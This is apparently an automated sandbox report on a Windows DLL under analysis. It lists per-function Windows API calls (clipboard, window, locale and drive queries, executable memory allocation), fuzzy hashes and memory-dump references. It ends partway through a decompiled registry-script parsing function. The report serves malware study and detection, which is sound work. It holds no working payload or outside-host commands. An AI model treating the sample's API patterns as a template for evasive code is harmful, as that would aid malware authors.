__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6E8F62E7
GetProcessWindowStation.USER32(6CDDFCA0,00000000,0000005F,00000000,00000002,74E00DE0,00000000), ref: 6E8F633D
GetDialogBaseUnits.USER32 ref: 6E8F637A

Part of subcall function 6E8F5ED0: GdiFlush.GDI32(00000031,0000004F,?,6E8F6387), ref: 6E8F5EF5
Part of subcall function 6E8F5ED0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6E8F5F01

Part of subcall function 6E8F5F20: GetThreadLocale.KERNEL32(00000000,00000031,0000004F,?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8), ref: 6E8F5F67
Part of subcall function 6E8F5F20: CoFreeUnusedLibraries.OLE32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5F80
Part of subcall function 6E8F5F20: GetFocus.USER32 ref: 6E8F5FB0
Part of subcall function 6E8F5F20: SetFileApisToOEM.KERNEL32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5FE3
Part of subcall function 6E8F5F20: GetClipboardSequenceNumber.USER32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F6020

GetCurrentProcessorNumber.KERNEL32 ref: 6E8F64EC
GetLogicalDrives.KERNEL32 ref: 6E8F6524
GetLastError.KERNEL32 ref: 6E8F6740
GetCurrentProcessorNumber.KERNEL32 ref: 6E8F6800
AreFileApisANSI.KERNEL32 ref: 6E8F68A0
CoFreeUnusedLibraries.OLE32 ref: 6E8F6910
GetForegroundWindow.USER32 ref: 6E8F69BC
DestroyCaret.USER32 ref: 6E8F69E5
GetClipboardViewer.USER32 ref: 6E8F6A19
GetMessageTime.USER32 ref: 6E8F6A26
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 6E8F6A6D
GetCursor.USER32 ref: 6E8F6B55
GetTickCount.KERNEL32 ref: 6E8F6D47

Part of subcall function 6E8F5F20: IsProcessDPIAware.USER32 ref: 6E8F5F6F

Part of subcall function 6E8F5BB0: GetTickCount.KERNEL32 ref: 6E8F5BCB
Part of subcall function 6E8F5BB0: GetMenuCheckMarkDimensions.USER32 ref: 6E8F5C12
Part of subcall function 6E8F5BB0: CoUninitialize.OLE32(?,6E8F6387), ref: 6E8F5C5A

GetThreadLocale.KERNEL32 ref: 6E8F6EBA
CoUninitialize.OLE32 ref: 6E8F6F2A
SwitchToThread.KERNEL32 ref: 6E8F6F50
GetCapture.USER32 ref: 6E8F7112
GetUserDefaultUILanguage.KERNEL32 ref: 6E8F7222
AreFileApisANSI.KERNEL32 ref: 6E8F7330
GetUserDefaultLangID.KERNEL32 ref: 6E8F7380

Part of subcall function 6E8F5BB0: GetSystemDefaultUILanguage.KERNEL32(?,6E8F6387), ref: 6E8F5CD8

GetKBCodePage.USER32 ref: 6E8F7170

Part of subcall function 6E8F5BB0: GetForegroundWindow.USER32(?,6E8F6387), ref: 6E8F5C79
Part of subcall function 6E8F5BB0: AnyPopup.USER32 ref: 6E8F5CE8

GetClipboardViewer.USER32 ref: 6E8F792A
GetCommandLineW.KERNEL32 ref: 6E8F7949
GetClipboardSequenceNumber.USER32 ref: 6E8F796D
IsWow64Message.USER32 ref: 6E8F7991
GetUserDefaultLangID.KERNEL32 ref: 6E8F7997
UnregisterApplicationRestart.KERNEL32 ref: 6E8F79B1
GetACP.KERNEL32 ref: 6E8F79C1

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ClipboardDefaultNumber$ApisFileThreadUserWindow$CountCurrentForegroundFreeLangLanguageLibrariesLocaleMenuMessageProcessProcessorSequenceTickUninitializeUnothrow_t@std@@@UnusedViewer__ehfuncinfo$??2@$AllocApplicationAwareBaseCaptureCaretCheckCodeCommandCreateCursorDestroyDialogDimensionsDrivesErrorFlushFocusLastLineLogicalMarkPagePopupRestartStationSwitchSystemTimeUnitsUnregisterVirtualWow64__aulldiv__aullrem
String ID:
API String ID: 610619165-0
Opcode ID: 3ca9432af8a46f732082df08b2c06f929adae2584abb720a17d17dfedd8d9013
Instruction ID: 2dfecf29a222cb5b9c94bd878f79ca64f9987f090abcbe2790c00208398e6f91
Opcode Fuzzy Hash: 3ca9432af8a46f732082df08b2c06f929adae2584abb720a17d17dfedd8d9013
Instruction Fuzzy Hash: 13E2B271D24E19CFDB12DFB9C45069EB7B5BF5A3C4B108B26D8067B245EB319882CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F5980, Relevance: 1.7, APIs: 1, Instructions: 167COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(6E8F0000,000000C9,00000002,00000002,74E00DE0,00000000), ref: 6E8F59E3

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: d72e60e1b9de403a8ab940be23fe99d301c2f08955b2c4faf22bfbf7f1fffc13
Instruction ID: 3367434d7c8c7958104a15d61ab33ffde6e2d9f32758aa8c364a39da3a01a72c
Opcode Fuzzy Hash: d72e60e1b9de403a8ab940be23fe99d301c2f08955b2c4faf22bfbf7f1fffc13
Instruction Fuzzy Hash: 4D612331A0829A8BCB18CFACC5841EDFBF1BF49300F5083A9E452DB656D770AB59C750

Uniqueness

Uniqueness Score: -1.00%

Function 6E904A48, Relevance: 10.6, APIs: 7, Instructions: 136COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6E904A8F
___scrt_uninitialize_crt.LIBCMT ref: 6E904AA9

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: af384aa9fa5bab08495d36d2ae93d387ee9a4dd63c79a62faddf45ae3670f671
Instruction ID: 5c42ccc289ff516525212af6a8db775a4ebe102ec911018ee4d2a5f566869518
Opcode Fuzzy Hash: af384aa9fa5bab08495d36d2ae93d387ee9a4dd63c79a62faddf45ae3670f671
Instruction Fuzzy Hash: F4418F72D08629AFDB609FE9C800BEE7AACEFE5755F40492DE81496250D730CD028F90

Uniqueness

Uniqueness Score: -1.00%

Function 6E903250, Relevance: 10.6, APIs: 7, Instructions: 131threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6E8F27E0: GetTickCount64.KERNEL32 ref: 6E8F27EE

GetTickCount64.KERNEL32 ref: 6E9032B2
GetTickCount64.KERNEL32 ref: 6E9032D0
GetTickCount64.KERNEL32 ref: 6E9032E9
GetTickCount64.KERNEL32 ref: 6E9032EB
GetTickCount64.KERNEL32 ref: 6E9032F2
GetTickCount64.KERNEL32 ref: 6E903310
DisableThreadLibraryCalls.KERNEL32(?,?,?,00000001,?,?,00000001,?,6E939FC0,0000000C,6E904C4A,?,00000001,?), ref: 6E903349

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$CallsDisableLibraryThread
String ID:
API String ID: 2118593989-0
Opcode ID: 7f9e3de563df32430cb50a5797d2934173ca63fe437b84d9b811d662fcc5e4c3
Instruction ID: b8f96c659d7c7386cef2095b466ce9186ef5d06de88868819ac78757745920c9
Opcode Fuzzy Hash: 7f9e3de563df32430cb50a5797d2934173ca63fe437b84d9b811d662fcc5e4c3
Instruction Fuzzy Hash: B851AE31D28B08CFDB12DFB8C440B99B7B8BF4A354F50461AD846B7241EB70E8828B90

Uniqueness

Uniqueness Score: -1.00%

Function 6E904AF8, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6E904B35
dllmain_crt_dispatch.LIBCMT ref: 6E904B4C
dllmain_raw.LIBCMT ref: 6E904B94
dllmain_crt_dispatch.LIBCMT ref: 6E904BA7
dllmain_raw.LIBCMT ref: 6E904BBA

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: d123a2ffef0a927eb0f01540dd26a2b49142a8bac14b04bab51df3667fba7d93
Instruction ID: 7d8810e63f475d8683f43d6fb98620aa4903c9d372d3e7b6b0448ceda4aac32c
Opcode Fuzzy Hash: d123a2ffef0a927eb0f01540dd26a2b49142a8bac14b04bab51df3667fba7d93
Instruction Fuzzy Hash: CC218D72D04629AFCBA19E96CC40FAE3A6CEFE4B94B81442DF81497214C730CD038FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E91C304, Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 6E91C0A9: GetOEMCP.KERNEL32(00000000,6E91C31F,?,00000000,6E91D694,6E91D694,00000000,00000000,?), ref: 6E91C0D4

_free.LIBCMT ref: 6E91C37C
_free.LIBCMT ref: 6E91C3B2

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f1bd16c4f1c6e1498afa44fb3298e75c852e8993b4c83ed064d9e32f3caf8ac7
Instruction ID: 1f18082c216f0a95b956fc318834125b1701d9d0ae48ab346568e120a8136e9e
Opcode Fuzzy Hash: f1bd16c4f1c6e1498afa44fb3298e75c852e8993b4c83ed064d9e32f3caf8ac7
Instruction Fuzzy Hash: A3317C7190C24DAFDB09CFA8C840BDE7BB8EF86314F11496AE9149B290E731D951CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6E904941, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6E90498E

Part of subcall function 6E90508F: InitializeSListHead.KERNEL32(6E93E898,6E904998,6E939F78,00000010,6E904929,?,?,?,6E904B51,?,00000001,?,?,00000001,?,6E939FC0), ref: 6E905094

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E9049F8

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 174c0c3bbe92ea48e59b9917a0eb458f122896ef9f3b359dbec48a47ae95017f
Instruction ID: dcb2c133aff46f90292e204522b71f4a42088ab7561b73bc1059d15df7c07456
Opcode Fuzzy Hash: 174c0c3bbe92ea48e59b9917a0eb458f122896ef9f3b359dbec48a47ae95017f
Instruction Fuzzy Hash: 0821F332648311AEDF20ABF899103DC37A89FB6369F90481DC8916B1C1DB71C442CE96

Uniqueness

Uniqueness Score: -1.00%

Function 6E906D17, Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(?,?,6E905637,6E90567D), ref: 6E906D2A
IsProcessorFeaturePresent.KERNEL32(00000017,6E918A38,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E917AF5

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodeFeaturePointerPresentProcessor
String ID:
API String ID: 4030241255-0
Opcode ID: 6c2386e3422dd1b7883d1ca31e38515b4259c0e85cada91c1660ee63e1b83e47
Instruction ID: a84757d49096ab491045811d719d541557ec31479cac413ba4db4ecb068a80e7
Opcode Fuzzy Hash: 6c2386e3422dd1b7883d1ca31e38515b4259c0e85cada91c1660ee63e1b83e47
Instruction Fuzzy Hash: 4DF0B4B424CB0FAAFF255BE0E925BE53A6C9F53718F000818B619592D1DBA0C141DD52

Uniqueness

Uniqueness Score: -1.00%

Function 6E9153B5, Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 6E91C8EF: GetEnvironmentStringsW.KERNEL32 ref: 6E91C8F8
Part of subcall function 6E91C8EF: _free.LIBCMT ref: 6E91C957
Part of subcall function 6E91C8EF: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E91C966

_free.LIBCMT ref: 6E9153F5
_free.LIBCMT ref: 6E9153FC

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$EnvironmentStrings$Free
String ID:
API String ID: 2490078468-0
Opcode ID: 6cd9a313a0999996f51947084cbe49d40598b1bf81a7cb62eff3440bf4a37266
Instruction ID: d939d9f73b3282af0d170206ac9b2d32dd2ca29624987290380b69b689d7312f
Opcode Fuzzy Hash: 6cd9a313a0999996f51947084cbe49d40598b1bf81a7cb62eff3440bf4a37266
Instruction Fuzzy Hash: DCE0A02294CB5886A36626AE6C002D916589FD2239B120E27D8208B1C0DBA0CC021D92

Uniqueness

Uniqueness Score: -1.00%

Function 6E91578F, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E915842

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dce363ef68dfe75112697b8121b9b5fee7d705203108374bc072209ba088368d
Instruction ID: d605b11e64c8fcf85646dc331079244d9d78010adcc62a60995b2ed2e4dbead1
Opcode Fuzzy Hash: dce363ef68dfe75112697b8121b9b5fee7d705203108374bc072209ba088368d
Instruction Fuzzy Hash: 6D315C76A04A19DF8B04DF9AC4D089DB7B5FF8932072686A5D929AB360C330EC01CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E90419F, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6E8F19DE

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 5bf7b2005d25805ba6a2624a30017a93a32feaa1b59e9767604e585f19fe0b63
Instruction ID: ecc2872d49c728a52b5e563152fed763ef8bdb3aed2645475803553cc4c5d1ec
Opcode Fuzzy Hash: 5bf7b2005d25805ba6a2624a30017a93a32feaa1b59e9767604e585f19fe0b63
Instruction Fuzzy Hash: D2014E7291030EBBCB109BD8DC004C9779CDF712647908939F914DB550EB70E5958FD5

Uniqueness

Uniqueness Score: -1.00%

Function 6E920435, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 6E91828C: RtlAllocateHeap.NTDLL(00000000,?,?,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?,?), ref: 6E9182BE

_free.LIBCMT ref: 6E920455

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: 51b25c5959d6f46922328c2a1e3d41589f2747d82d7fde4d75e447fb4f0b9ff0
Instruction ID: 7557c0724043687d9c520496ee995b70d8f7e279bf0c7f8d014490e0c613b568
Opcode Fuzzy Hash: 51b25c5959d6f46922328c2a1e3d41589f2747d82d7fde4d75e447fb4f0b9ff0
Instruction Fuzzy Hash: 8BF0C2725047008FD7358F85D401B82F7ECEF81711F10882FD29A8B6A0E7B0E8418B84

Uniqueness

Uniqueness Score: -1.00%

Function 6E91828C, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?,?), ref: 6E9182BE

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7d379cab3ba279378787068f071a1125e2b70c8b23c2677200f2bb67d79f72c3
Instruction ID: 76f77a89b2a886cb093272472343caa920ab95c8c148376839ec2caafaa7e442
Opcode Fuzzy Hash: 7d379cab3ba279378787068f071a1125e2b70c8b23c2677200f2bb67d79f72c3
Instruction Fuzzy Hash: 7FE0E53114DD2AABEA3A16E68D04BD63A4C9F573F4F010D20AC2196180CB60C8006DE7

Uniqueness

Uniqueness Score: -1.00%

Function 6E905B63, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 6E905B8B

Part of subcall function 6E905492: std::_Lockit::_Lockit.LIBCPMT ref: 6E9054A4
Part of subcall function 6E905492: std::locale::_Setgloballocale.LIBCPMT ref: 6E9054BF
Part of subcall function 6E905492: _Yarn.LIBCPMT ref: 6E9054D5
Part of subcall function 6E905492: std::_Lockit::~_Lockit.LIBCPMT ref: 6E905515

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 238635018-0
Opcode ID: 214cad46febc65e152b7ad17ab74d410c6f9f262ad9f9aaff854c5953a0a80f3
Instruction ID: 457689abc6c8771bcf6c00494adb8e90dd15951d1bceb698de47672d372fec00
Opcode Fuzzy Hash: 214cad46febc65e152b7ad17ab74d410c6f9f262ad9f9aaff854c5953a0a80f3
Instruction Fuzzy Hash: 59E0DF72A61721AFDB645BE884113AD72D96FA1B15FD0882DD800AF6C8CBA0D8014F81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E8FE6B0, Relevance: 39.0, APIs: 19, Strings: 3, Instructions: 451
stringmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E6E8FE6B0(WCHAR** __ecx, WCHAR* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				char _v101;
				char _v102;
				char _v103;
				signed int _v108;
				WCHAR* _v112;
				signed int* _v116;
				intOrPtr _v136;
				signed int _v148;
				short _v8204;
				short _v8208;
				short _v8212;
				signed int _v8344;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t103;
				signed int _t104;
				signed int* _t106;
				void* _t107;
				short _t109;
				signed int _t111;
				signed int _t112;
				signed int _t113;
				WCHAR* _t115;
				signed int _t119;
				signed int _t122;
				WCHAR* _t126;
				signed int _t132;
				short _t137;
				void* _t147;
				void* _t158;
				void* _t159;
				WCHAR* _t160;
				WCHAR* _t163;
				signed int _t165;
				void* _t166;
				void* _t171;
				WCHAR* _t172;
				WCHAR* _t173;
				WCHAR* _t174;
				void* _t176;
				WCHAR** _t178;
				void* _t179;
				WCHAR* _t184;
				void* _t185;
				WCHAR* _t191;
				intOrPtr _t197;
				WCHAR* _t202;
				WCHAR* _t210;
				signed short* _t212;
				signed int _t215;
				signed int _t219;
				signed int _t221;
				WCHAR* _t224;
				short* _t228;
				void* _t230;
				WCHAR* _t232;
				signed int _t233;
				void* _t234;
				WCHAR* _t237;
				void* _t238;
				signed int _t240;
				void* _t241;
				void* _t242;
				void* _t243;
				void* _t244;
				signed int _t246;
				void* _t248;
				signed int _t249;

				_push(0xffffffff);
				_push(0x6e928df5);
				_push( *[fs:0x0]);
				_t249 = _t248 - 0x64;
				_t103 =  *0x6e93d008; // 0x6cddfca0
				_t104 = _t103 ^ _t246;
				_v20 = _t104;
				_push(_t104);
				 *[fs:0x0] =  &_v16;
				_t178 = __ecx;
				_t237 = _a4;
				_t106 = _a8;
				_v116 = _t106;
				if(_t237 == 0 || _t106 == 0) {
					_t107 = 0x80004003;
					goto L69;
				} else {
					_t191 = _t237;
					 *_t106 = 0;
					_t6 =  &(_t191[1]); // 0x2
					_t228 = _t6;
					do {
						_t109 =  *_t191;
						_t191 =  &(_t191[1]);
					} while (_t109 != 0);
					_v92 = 0;
					asm("xorps xmm0, xmm0");
					asm("movq [ebp-0x60], xmm0");
					_v100 = 0;
					_t111 =  <  ? 0x3e8 : (_t191 - _t228 >> 1) + (_t191 - _t228 >> 1);
					_v96 = _t111;
					_t227 = _t111 * 2 >> 0x20;
					_t112 = _t111 * 2;
					if(_t111 * 2 >> 0x20 != 0 || _t112 > 0xffffffff) {
						_t112 = 0;
						_v92 = 0;
					} else {
						__imp__CoTaskMemAlloc(_t112);
						_v92 = _t112;
						if(_t112 != 0) {
							 *_t112 = 0;
						}
					}
					_v8 = 0;
					if(_t112 != 0) {
						_t113 = 0;
						 *_t178 = _t237;
						_t197 = 0;
						_v103 = 0;
						_v108 = 0;
						_v102 = 0;
						_v101 = 0;
						if( *_t237 == 0) {
							L67:
							_v92 = 0;
							 *_v116 = _v92;
							__imp__CoTaskMemFree(_v92);
							_t107 = 0;
							goto L69;
						} else {
							while(1) {
								_v112 = _t113;
								if(_t197 != 1) {
									goto L35;
								}
								if(_t113 != 0) {
									L20:
									_t163 =  *_t178;
									if(0x27 !=  *_t163) {
										if(_t197 != 0) {
											goto L35;
										} else {
											goto L28;
										}
									} else {
										if(_t197 != 0) {
											if(0x27 ==  *(CharNextW(_t163))) {
												 *_t178 = CharNextW( *_t178);
												if(E6E8FD9E0(_t178,  &_v100, _t168, 1) == 0) {
													goto L10;
												} else {
													goto L35;
												}
											} else {
												_v101 = 0;
												L28:
												_t165 =  *( *_t178) & 0x0000ffff;
												if(_t165 != 0x7b) {
													_t221 = _v112;
													_v108 = _t221;
													if(_t165 != 0x7d) {
														goto L35;
													} else {
														_t227 = _t221 - 1;
														_v108 = _t227;
														if(_t227 != 0 || _v102 != 1) {
															goto L35;
														} else {
															_v88 = _t227;
															_v8 = 2;
															_t166 = E6E8FD9E0(_t178,  &_v100, L"\r\n\t}\r\n}\r\n", 9);
															_v8 = 0;
															if(_t166 == 0) {
																goto L10;
															} else {
																_v102 = 0;
																goto L35;
															}
														}
													}
												} else {
													_v108 = _v108 + 1;
													goto L35;
												}
											}
										} else {
											_v101 = 1;
											goto L35;
										}
									}
								} else {
									_push(L"HKCR");
									_push(_t237);
									_t171 = E6E907F2D(_t197);
									_t249 = _t249 + 8;
									if(_t171 == 0) {
										L19:
										_t197 = _v101;
										goto L20;
									} else {
										_t224 =  *_t178;
										if(_t171 != _t224) {
											goto L19;
										} else {
											_t172 = CharNextW(_t224);
											 *_t178 = _t172;
											_t173 = CharNextW(_t172);
											 *_t178 = _t173;
											_t174 = CharNextW(_t173);
											 *_t178 = _t174;
											 *_t178 = CharNextW(_t174);
											_v88 = 0;
											_v8 = 1;
											_t176 = E6E8FD9E0(_t178,  &_v100, L"HKCU\r\n{\tSoftware\r\n\t{\r\n\t\tClasses", 0x1f);
											_v8 = 0;
											if(_t176 == 0) {
												goto L10;
											} else {
												_v102 = 1;
												goto L19;
											}
										}
									}
								}
								goto L94;
								L35:
								_t115 =  *_t178;
								if( *_t115 != 0x25) {
									if(E6E8FD9E0(_t178,  &_v100, _t115, 1) == 0) {
										goto L10;
									} else {
										goto L39;
									}
								} else {
									_t232 = CharNextW(_t115);
									 *_t178 = _t232;
									_t119 =  *_t232 & 0x0000ffff;
									if(_t119 != 0x25) {
										if(_t232 == 0 || _t119 == 0) {
											L46:
											__imp__CoTaskMemFree(_v92);
											_t107 = 0x80020009;
											goto L69;
										} else {
											while(_t119 != 0x25) {
												_t232 = CharNextW(_t232);
												_t219 =  *_t232 & 0x0000ffff;
												_t119 = _t219;
												if(_t219 != 0) {
													continue;
												} else {
													goto L46;
												}
												goto L94;
											}
											if(_t232 == 0) {
												goto L46;
											} else {
												_t201 =  *_t178;
												_t122 = _t232 -  *_t178 >> 1;
												if(_t122 > 0x1f) {
													__imp__CoTaskMemFree(_v92);
													_t107 = 0x80004005;
													goto L69;
												} else {
													_push(_t122);
													E6E8FD2A0(_t178, _t227, E6E914A0D( &_v84, 0x20, _t201));
													_t126 = _t178[1];
													_t240 = 0;
													_t249 = _t249 + 0x14;
													_v112 = _t126;
													if(_t126[6] <= 0) {
														goto L46;
													} else {
														while(1) {
															_t202 =  &_v84;
															if(lstrcmpiW( *(_t126[2] + _t240 * 4), _t202) == 0) {
																break;
															}
															_t126 = _v112;
															_t240 = _t240 + 1;
															if(_t240 < _t126[6]) {
																continue;
															} else {
